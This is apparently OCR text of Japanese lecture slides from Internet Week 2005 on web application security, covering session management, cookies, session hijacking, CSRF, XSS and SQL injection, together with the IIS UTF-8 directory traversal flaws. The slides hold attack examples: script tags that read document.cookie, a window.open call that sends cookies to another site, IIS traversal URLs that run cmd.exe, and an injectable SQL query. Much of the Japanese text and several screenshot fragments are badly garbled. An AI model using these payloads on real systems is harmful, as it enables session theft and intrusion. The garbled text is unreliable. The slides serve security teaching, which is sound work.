Internet Week 2005
Fa—rI7Ib
20054 12A8R A&

RLizWeb7 7)) FFK DA 2005

BT FTBUR A FE R R TR S BRZRAR
BHREr1) T A REI -
=R AR
http://staff.aist.go.jp/takagi.hiromitsu/

B

Web7 7UDERIIBHERK - BEHEXETOME

- tEviavIDIckbtyiaviBH e Ah—IClgziEYILEE

- £yl arvIDDEE - FOHOHEIEM

tyYavBHRNCx T B EERAH

- wylaving vy

- &y 3arSA4T40%5 (CSRF: /AR
BARIGZRNTA—D 1))

- yiavEEik

v avi B A XD R

— HERIMTRERE Y a i BE NT AL

- FRIAIREG v avID

- HMHEESOER

FERRFEZE DR B

- TUERHEORM

- a—YHEA ORI

BB ZWeb7 7 ') 1BR

- BERFEHMEEEEH HD
- 1Mo hTHNIE ISRT—KOBAALLIZ, EEE@EIC
ANBIZEENZLY
— EEMEETHYLNS, BEDEFFRNARRTINDIBAN
FEALE (BIERBHETLHD)

- BETESDE, K4, F/. LR, BEES. AT
LADIEH, ENF55E. 8K, RIRERGE
- BREAILOVMNI—FESOLTZHEHZRTELEED
H%
e TAMTBE—MOMIZTRRUTHEIRT MEKEEDECEEHD

074 EH

e WebE@E _LICTOTA Y 1D EE
— HIMLR—S ETa—HEE/NRT—KEA D

3 shopping - Microsoft Internet Explorer i [=] 3]

FeAME) REE FRN) ARMANE LD AMIH) |\_)E§> 1S REREIEE Y-

Jp/dema/shop-B/Shopping

FELAD) [ hep:/

A
WDy TH A TRBENFEA

DA dIREIE

1-Hm
—

R

A

I1-HEREERT
e L

1 -HIEREEIE




_I_I- ol x| _I_I- ol x|
FPOME) REE) ®RY) BRCADA) WD) ALIH ‘dﬁéé - ¥ [ |at- A 87 FPOME) WEE) FRO) BRCADAE) WMD) ALIH ‘OEé Q- X ] |8k A
FELAD |:§] http:/{ Jp/demayfshop-B/Shapping j FELAD |:§] http:/{ Jp/demayfshop-BfUserUpdate j

WO IFA L TEBNFE A Al _9 B -HisgTs 2
A= — STOEEHANLAERE TF (AETERE).
s 7Sk 1—¥ID demodemo
. - BB A S HAD—
1 - 1EREE < o ﬁigi‘tj’ét%ﬂja},\ | CEmEBTeTL 30 FL
@i oo, e ¥fi ﬂi Azt E!'J,‘ﬁb h P
BAERES
. s HAD— R |
| 20—
— ey oo
iz E(-_ i
1 -1 [ELREIRE [Foo01] dLERRED A H(EF) [ (2 R10FLIP)
. B{if]: 150 8
- [Ef]:15 wARE]: | A | 20ET) [ZBTT | camiosken |
é [FooO2] PhEaizkE—N #H(hi) £037 (AT 10T LEIPT)
| [BE]: 7007 AR | B | A1) FOS | cemhr103FLADY
[FOD03] Lh—275% A NPELR |moroyowa@example.co.jp CEREE TR0
LD
(342 1157 maser [ A
A-NFFLARESR) |m0r0yowa@example.co.jp
HROBIRRELGS BPRAARRUS T RRBEEEE [PreA S HEOBET 2RI - RIET3VATLI ) _
(BHRHYITY, B EAER) B YaE VT FYAT LN XR2OED, BECAN T,
e ‘ _sloix
Sy | (2A30XFLEIAD ~ — . : q. -
7MD FEE BRW BRAIE vou@ e | Qs - () - %] &)L | &k A4
H L2
- B 2R PELAD) ] htp:y/ Jjp/dema/shop-B/BuyHistory [~
EES joa — 3333 — [a444 B
fH:03-0303-0303
LISATS £t 45 CLEL =i

DSy - FOBRHID0 T, EESIERETEE .
CHETERLTIRE. Mol# A DR — FIEERA D FRIEE BN ERET.
ENIh-FEHET SRS OLBRETH.

DLIsbait [Micos CERRBTA0TFLIA)
DIy bh-FES j5ess - [eees | - 7777 - [sasE e

M:1111-1111-1111-1111

LTy AR (ET) |MOROYOWP.TP.RO CERRATESOTTLIAD
hLTe aE(hT) E037 HOv (€3 Fiparlisa=ad by

H— FaazhEAR (5F) 2003 | &

E A

h—-FHaEHEIER(A)

el

X0y IHhTEHNEHA
Wi A FEEE e
itk BiT fmNo. Eim BN B gt
; 2003/05/20 FO001 AbBiERRENAEL 150/ 1 50/
HH 2003/05/20 FO004 BN ALT -2, 2540 1 254M
Sl
: 2003/05/22 Fo001 AbBTERRENAEL 150/ 1 150/
a 2003/05/22|Fo001 AL EERRE 4 EL 150/ 1 150/
& < 704




tyraviEl

o OUA VM BAT 7 ETOIYYaY ]
— HTTPIZIX (ZDEKRTO) yiar OE iy
- BALA—HYHhEDTIERATHAIIEE. BALDIDAETIE
M OENHD
. t\yyaylo(zotéiﬁﬁah
- BT A EICERRFDIDE AT
. IDlat%,ﬂ'Ih\-l- DCRE GBSV LB SXFS
- O AV, A—H &ty avIDED R EREER
— TS9O NTORANHEE, By avIDBELNTLDD
T,y aviDho1—HERE
- A—HTLDNEBEET
— AT T7 ORIV BEIN -6y 3 FRE
o AIEERNZEDTEYYIVIDEHIKR

Cookie

HeE
- —N\HPER(FETILT. T5VHFIZEZEEL0
- TSV 7OERADI=UIZ, BZ 5N izcookiexH—/\ITET
o JOMIILEOEFKRMEE
- BT
o LARYAAYAICT Set-Cookie: 1 74— RELTH— NG E

— Content-Type: text/html
Set-Cookie: JSESSIONID=3a2d4276a8df77346feadc3442;path=/

- *1E
e YHIAPAYHICI Cookie: 1 74—l RELTELE
— GET /index.html HTTP/1.1
If-Modified-Since: ....

Referer: http://www......
Cookie: JSESSIONID=3a2d4276a8df77346feadc3442

e CNIZ telnetdYY REEIGE LTHTLIEIETED

9 10
CookieNDHl H— )\ byya BB
e "y . - . .
- Y= IITTOHICEy VAV IDERY P LESELERT N S
B —0EE vy Iz ; yy
U] <
“ Wieh A | “zearche-eoveojp” O “cookie” FIREINEIPA I EZOT KL QX » % %) %
e HCRTFELEELTUET . L0 MR B R IFen 23, % S x = X §
& e LAY 3 % ; g < ; o
O <
% T O = = oz =<
I 240 Vish 41 b1 Cookie FATCCORELBATS O % g a2 i E g %
Cookie BFaT@® | Cookie 89030® | Zrmesian | A g0 <o 3 =20 X
5% 5 ol S 4 P
~Cookie &%R G E= I = o
x| (3) = 10 @ ®
20 JSESSIOND fole T = Sy 2
A zearche-goveop 4 % : x : % <
1A 7 1 28 (5) w 8 Gywma| &
=135 : oo y ‘oo 4 ©°] >v
HHEHE [k 12 07 2006 204545 174z 00X
T-8 To BO5EmO2a 17748604 71 GHGYAAL é ] FSeHf CookieZRtE &
A I
- (4) | sid=7J3xdwWijlKs
P‘;:;{ iz etV (ETAY-S
o1k =
Al — 11 12




v a IDDOIEMIBSFR

e Cookie
e URL/\ZAA

TAME) WEE B BRCAVE) Y-MD ALIEH) ‘@ﬁé 25 RBREEAY
TELAD) |@ http:,f-netjappIication,_letail.jsp;jsessionid=q5c12sLﬁm:(TJh58utISl.'JeA0r2r6068)

e hiddenZINPUT (POST7ZH 3 VDIN5AR)

13

tyayinNngvrvy

e OJMVIREEDFEHELD
o yYaVIDBAICLZ YIS Uryh
- Y avIDDEREITTEDIA—YILLDTIEREDONEHE
ALTLNSF=8
- BILED Y avIDEE=ZEFEINE-TLDE, KRALDOHEY
FTELTIEREDO MR G TELLY

o SE: IP7RFLAD—EHEFRICLD XK
Y A L A MECNYNR
- REBEEBATOFVUBED, TIMR— PP ELAEEINGTS
ISPHEOPIERIE . O AEIPT? FLATR B TERL

14

tyarnt4vyv70RE

e YIaVIDNIRETS
— Referer: [C&BURLDFH
— CookieMifmi#
o HOZYA FADYT T4 VT Ha55 1
e ISOFDRMEICELZED
— Ny hEREE (SSLOERAZFRIIRELTLNSIEE)

e yavIDNE A
— TS9N —NADZEEFTELS
- BHDTS59HIZcookiek B HTHYRT S
- BRDITSOHIZ, INS5AFYRLI-HTMLE R RSE T
7Ot A% R
— telnet’g & TIE#E TCPTHTTPZ#(E

15

Refereric X3tV a3IDiFR
o RAPAR—IDURLIL. Referertiéf(cL-T. UUHEITE
HENd
— URLIZFARERTHSEEAL
e URLDNFGARERE R—VUBBPEREERBE. RATYH
hENBIVMER (PILABERFEULLBWMER) ICPRET S
- ZEfl
— URLIZA—HZ /AT —FZEHTLSEHS
— URLIZEYLavIDEEHTLAEH

D

16




JARYLBRI7VTT1>7 EARBHD? (1)
e AA74—IVEIC

Cross-Site Scripting (XSS) Mz5514%
CERT/CCAHY20004F2 A IZ&hE

— CERT Advisory CA-2000-02 “Malicious HTML Tags Embedded in
Client Web Requests”

yien 43

— cookieMNiwmiBET B

_ EEEHFAN—UIBRLEY AN LD BEHHI—FE EANTHB
THFons

- BOR—CRRBICEYBEZLOND

IEYES

- BMGR—COHTMLAERKR T O 5 LT TSI AR,
[<IT>T&IBEDXFEDIRr—TUNIEBHEE-TLNS

<S>test</S>

17 18

2 http:/java-houseetl e jp/ml/search/S5E /cei-bin/search—vuln plfguery=5

| wirE wmEE ®RW BRADE Y-MD AT &= D[R 7 ERLTEEHD? (2)

J F LA IE fjava-house et e jp/ml zearch/SSE cai-bindsearch-vuln plfquery=430 5% Etest¥IC K2 F

| Google-| Sl & (B G- F - S « AN74—ILERIC

AN
Your input: test =7 FE_(Bt
parzed as: 'test

Keyword: [{s>testd/s> Search | <SCRIPT>document.write(document.cookie)</SCRIPT>

Output Faorm: IStandard vI

EANDE..

0 files: test
0 files are listed below (Upper limit: 100X

Finizhed. 0 files are listed. (dpper limit:10070,
Jged GPU time: 0.01 CGPU zeconds; 0 zeconds pazsed.

FPowered by S55-1.0 20




ThHZERER?

- BEODYAMILL

— http://www.foo.ne.jp/search?key=<SCRIPT>...</SCRIPT>
~NDY DG (CNIEE)
- BIETHNE=F
EEHLIEANEENT-E
- REEDH AT ARBADY) Y
- BEBATLESHEEC
- ADEBRIZES T, ClE HABORASY LT XYY T
#CNITS Y LTEITIELND
e CookieM&d i L5l

— window.open("http://.../cgi?” + escape(document.cookie))

21

MREREEICE (1)

a ¥F[:-t_ﬂ:é_§% - r'-'1i|::r'|:|:5:|:|ft Ir'uter'net E::-::|:|I|:|r'E:r

(¢ >-QEA &

j I IME REE HT0 BECANG v-LD agd P

J FELALD IE https: e

SEAatEk

HEEE By
EREFTAALTFRL -1 LR
LIRS HFE SR TT

ETrTE T TAALTTAL i

HEET 2 BEE ST
ERTFETTAALTFE [><S>TESTL/S>
[

B EREE ST
BB T BEEISE, |
g%ﬁwj{ii‘ﬁ‘@\:ﬁuﬂ:
11

HEESETFER | jzpo

22

MREREHEICO (2)

a ¥R E ik - Microsoft nternet Explarer

J IrfLE) REE HTAW BRCANE U-O ad P

|&-»-QEm oI

J PRELALD I@ https

L

BRERERAD

ERE1EK
BE(FE 5 (EFER

EES
FRUFTADLT R
ORI LT ATLT AL
ERIE R B IEE SR
BFTFETTAALTEFIL
COEBILEF AT AL
TEET#8 IEEHS BT
?%1 AEFETTANLTES
i
FREFTAALTRS
BT EESHRFETRE
iiatpe T H - S IS5 L
gﬁ@ BFETTAALTE
ELLERTEA LT TR b

IHEeEr=Hn

e <input value="CC/CZEHDIEFLEHAL">
o ZHDEN ["><S>TEST</S>] DEE

- ERIFTIED
<input value=""><S>TEST</S>">

o KRE[FIIBINE
<input value="&quot;&gt;&lt;S&gt; TEST&It;/S&gt;”>

24




FRERESTEIRED

e 2TOXFIHAT, MXFEIAT—-TT35L51—T1
VUK K-
- MXFZDOLDEHE T IR ITEHINAIZ. TRT—T
LW ESIZEL
- BHOBXEKRTHDTIEGEL FIHMEZEDLSITEL
— 3l:
o [ TSI FHIR TR JEAI X FRBOTIAT—T
e HTMLBFZFDTARTOERAICHE N T <II>1T&INAIXFHROTT

Ar=7
e < > &lt;
> > &gt;
& > &amp;

BNEHshTVWERNC E

e <a href="/cgi-bin/foo=aaa&bar=bbb”>
(FfEHE

e <a href="/cgi-bin/foo=aaa&amp;bar=bbb”>
EELDHIELLY

o fEZIL
NIADZFIMTamp J7Eo7zbE 51332
<a href="/cgi-bin/foo=aaa&amp=bbb”>

25 26
— LS »
o = I
Rk AL JARGAPRI72VTT127
NIV vy IR EERBLLE = |
N DS IR
FIF | T—CADAHE | BECUBLHE BREOEEL-BE FRE ST B =
Avarsr—F | BARE (E4. (. BEFB. A—LF7FL | EHE. 77 5— | CockieT— 4
. 3 ShE. o Log L—% DABHNEE = s , — , os , =
" i]é IXRELRSRONS. BOEIXERTE | Yavy— ﬁ,fg ae s FUTAUT—VBE 8 TSAN—T—VmB = IRIT 221+
SFAOz7HA | AAT—FEEARGNG. BALEBANE (2 | RABRE. 7 I U 7— | Cooke O H B 2ay7 259 A+ ExE 25U+ e H—/NE 5 H K5
L A=ILTF FLA. 5 ) | e =i bild ==
B wa g;;héz A, Ml AKH5H0H) & g Y=y R A A (*i)EK]E{E,Eﬁ% g};],%. (E#)Ezkﬁﬁﬁmiiﬁﬁ% 17/22
FERT LB | FLOy FA—FEBERFNS. WAWE (& | M0AhU T —L. 7 iavIDEEME BEIEANFRRKEE ANADH—/ I \HHEEE:
£. AT, BEHFS. A—LTFLA, £5A8. | FUsr—ga4—i B HEA AL 17+3)/22
c #R) . IXMBEEEHRLAE, BOEXER " a (17+3)
fEns. ffa55 YAk 21/25 iag5 Ak 17/25
BEICIDE [ FLYvrh—FEBEatnd. WARE E | SROFAMORFERERE. | CokedH D
p | F—EAMAE &, WA, £EAE. EF. BESES. A—LTFF | S FA—l, @8O | KA EE
LR) . AXEELEARGND, (ART—FEE | HTTP H#—i MEDEAS
Bahd. AOAXERTENE. S *%E R
BRI VR | A—0oaviR-BohBOmE. AL BMUA | BEOAmORERE. | Cooke® & &
g | Fmarr L. BERTENE. BANE (A—ATF FL | A—25 3 »HAMERN | BRAKA
2. BEHE. B FEARLLL. BEA—L
rEAREN. BOA—LERESRE, fi.
Ak ALy Fh— FBBEEFNG. MAME (E | —a— ARES LAH | Cooked & 2
&, {Efi, REEB. BFA—AT FLR, BE | 74—4 A A
F B) . AXAEEEA#BONE, BOIXERTS
ha.
FBRELavEy | AR (A7 FLA. &, D5k, BF. | RREE. —2—ARE
TE=L WEHS. BEA. 8. —voF—L) FEHR | HLAR I+ —L, F— t ,f . ’jh %éb 35 (;EE'NL, ;
G Bhd. MAT—FEEESND, A—0 Pal | 2a o HainEiking RV EVIAYDEDIINIE NET SHLTCLVLY
T, HEPOBAOREAMERERESLD, & = e ¢
AECHYTELCALECEB . - & A 2001FE7A8
TSR | MO UGE—%. BOlRH, A f—Fot A% | BREe E
Ho| 3 DRREESE ot D, 27 20024E6 H27HETIE .




WIIY M b EERR BRAE

200157H 200252H

20024F6 H27HETIE |

HTMLY JDAN%ERHHI5E

e FIAEDANTRICHTMLATEEHREEHT VAT
— HTMLA—JLxt s DWebA—)L
— HTMLA A A BEZ 8RR
— Weblogo AT L
o BIRIBATEIAIIVITHR T30S IEE ICHRE
— HotmaillZ#YRL X 2 T4HR—ILHBRELIzDIE. RYV1UT
FABILNTLESRT DEETADNERICHY. TIILATHRLE
NTWVEM =D RETHY. RILHEEETIRZ S LTS
— TphpBBIEWSHBTRIRV AT LTIE, <> 1DET 2R H>T
MZEFE-1=Y—07 v ##e (TBBcode ) #AAEL T, B
REFZITZIRHL TS
451 [img]http://www.example.com/foo.jpg[/img]

» #NT4H. [img]javascript:alert(document.cookie)[/img]
EVORD BT B IEFEH)

o [FTHAL7)—DEH

— RAAII—MIIBHAENFT IRV TR
http://hatenadiary.g.hatena.ne.jp/keyword/ (& TH A A4 71) —XSSxt 5

30

7 29 DRMEICEE L Cookie

o Cookieh'iJgiBT2WebI 50 DRMEHFEFICERINT
AV
- IS5 DM EZEM N TcookieNiRET DL,
ZFMDcookie Ty aviEHLTWW=Ha/rDAST 1o h Y
AVNATYIENTLEDS

o #A: FELREMENRHONZ YA FTIE. £YYaVIDE
cookielC AN . hiddenfZ INPUTICAN TPOSTAYY KT
EENTRIERETRDRETHD
— AB—RYNNN X T DORT LIZFDEISERERIZIEST

WBELDOHE... . Iho-GEER)

31

INT sy NREEIC & DIDIRR

SSLEFERALTLVELYA

— YN EEORBREERELLZLY AR

— RRT—RLEESND

SSLEFERALTLVS YA k

— T YNEEINTERETHAILEE/ELTLS

FTARTOEEMNHTTPSDIG &

— BIERBILEEINAL
HTTPSEHTTPOR—IWRETRHE

— BEEINEEEL, BEINBIENHD

32




Cookie?)SecurefEiE

» CookieMHEITHE
— Y=\ IFATURANDBEDANVFIZT
» Set-Cookie: user=takagi
— Set-CookieDA T av B
e Set-Cookie: user=takagi; domain=example.com; path=/
— Tsecure B4
e Set-Cookie: user=takagi; secure

o SecureEBHENBIMEEEHDIGEDEL

Secure/EH¥ N {L1Hk

 RFC 2109

— The user agent (possibly with user interaction) MAY determine
what level of security it considers appropriate for “secure”
cookies. (B&) When it sends a "secure" cookie back to a server,
the user agent SHOULD use no less than the same level of
security as was used when it received the cookie from the
server.

« Netscape Communications® gy 3X =
http://wp.netscape.com/newsref/std/cookie_spec.html

— If a cookie is marked secure, it will only be transmitted if the
communications channel with the host is a secure one. Currently
this means that secure cookies will only be sent to HTTPS (HTTP
over SSL) servers. If secure is not specified, a cookie is

securefzL securedh considered safe to be sent in the clear over unsecured channels.
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e Thomas Schreiber, “Session Riding — A Widespread
Vulnerability in Today’s Web Applications”, 2004512 H
http://www.securenet.de/papers/Session_Riding.pdf

— In this paper we describe an issue that was raised in 2001
under the name of Cross-Site Request Forgeries (CSRF) [1]. It
seems, though, that it has been neglected by the software
development and Web Application Security community, as it is
not part of recent Web Application Security discussions, nor is
it mentioned in OWASP's Top Ten [2] or the like.

We prefer to call this issue Session Riding which more
figuratively illustrates what is going on.
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— 2001-12-12: Multiple Vendor URL JSP Request Source
Code Disclosure Vulnerability
http://www.securityfocus.com/bid/2527
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SQL Command Injection

- BKEHRBI-F
— boolean checkPassword(String id, String password) {
String query = "select password from where id=" + id;
ResultSet rs = db.getResultSet(query); ...
return rs.getString("password").equals(password);
o ¥ % (TDirect SQL Command Injection | %)
— id [CEHZID; FEDSQLXIZET (A—HFRITANTELRE) &,
EITINBSQLXIIUT ELED
« select password from where id=# Z31D; EFENDSQLX
- ESTRED
- (EF2UTALURID)SQLX DEEAHLLT. NITHESD A XA
e String query = "select password from where id="" + id + “**;

- ENTLEE. . d ISP IAEENTILV=0ELE.,

SQLD '] OTLRYT—7

- Al
— — RIS, D ITXFHEEDLE  ZOXFIRON | [FAIXFTH
B0Mn, TR 7F—T0EEIET DL EKEI
o LhLEAIBI-TA4T(1CRB
- RAE
— PreparedStatement Z{#>
— String q = "select password from where id ?"'; PreparedStatement
ps = connection.prepareStatement(q); ps.setString(1, id);
ps.executeUpdate();
- B%&:
[i-h-b:46403] 'SQL Injection" Security Problem
http://java-house.jp/ml/archive/j-h-b/046403.html

[i-h-b:49842] E¥1)T4h—ILEFRTIAMESLUAMESE
http://java-house.jp/ml/archive/j-h-b/049842 .html
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e MS00-078:
Microsoft 11S “Web Server Folder Traversal” Vulnerability

— http://target/scripts/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt
/system32/cmd.exe?/c+dir+c:¥

— http://target/scripts/%c0%ae%c0%9u/%c0%ae%c0%ae/winnt
/system32/cmd.exe?/c+dir+c:¥

e [./1FIYDEUTF-8T1— FDRT#%BEZR

UTF-8ORRAZLI -k

e UTF-8

— UNICODEM1XF%. US-ASCIIE#iZ&R5DD,
1~6/ N\ rDNARFITRIET ST a—FER

— UCS-4 range (hex.) UTF-8 octet sequence (binary)
0000 0000-0000 O07F  OXXXXXXX
0000 0080-0000 O7FF  110xxxxX LOXXXXXX
0000 0800-0000 FFFF 11210xxxX L1OXXXXXX LOXXXXXX
0001 0000-001F FFFF 11120xxx 1OXXXXXX 1OXXXXXX LOXXXXXX

CO AE CO AE CO AE CO AE
— - F— 0400 0000-7FFF FFFF  1111110X 10XXXXXX ... 1OXXXXXX
UTF-873—F - 1FIVD — UTF-8M\BUCS-4~DERRIE— B ABIEZ S THL
002E 002E CO AE CO AE BHOUTF-8NIRIINEILXFICEBRINGED
[ 1FIvD UTF-87J— K CO AE = 11000000 10101100
— 002E (UCS-2) = US-ASCHIOT.
yljtj\*ﬁlz:lt 002E 002E ( ) .
7Dt AR L
201 202
H - - — >
I'UR*IR] (X invalid sequence URLSBEFO—k
o T%CO%WAEIRENI TTRFKL 1L, RFC 2279 T Einvalid sequence : .
FEANTINE . &RB g e MS01-026: Superfluous Decoding Operation Could Allow
RFC2279 _ _ _ _ - Command Execution via IS
Seuences. For metance. a naive mplementation may (wrongiy) decods e mvald UTF-3 sequence co. — http://iis.example.com/scripts/%252e%252e/%252e%252e/win
i he ch , which h i h | . : .
gO gégutrig%gggcgg:ag;r?sooo which may have security consequences and/or cause other problems nt/system32/cmd.exe?/c+d|r+c.¥
Implementors of UTF-8 need to consider the security aspects of how they handle illegal UTF-8 %252e N %2e N
sequences. It is conceivable that in some circumstances an attacker would be able to exploit an :
incautious UTF-8 parser by sending it an octet sequence that is not permitted by the UTF-8 syntax.
A particularly subtle form of this attack could be carried out against a parser which performs security- %252e%252e/ %252e%252e/
critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet
haracters. F le, ight prohibit the NUL character wh ded as th 11— N =1 N
single-octet sequence 00, but allow the flegal two-ottet sequence G0 80 and Interpret it as ANUL URLTJ—F URLTJ—F
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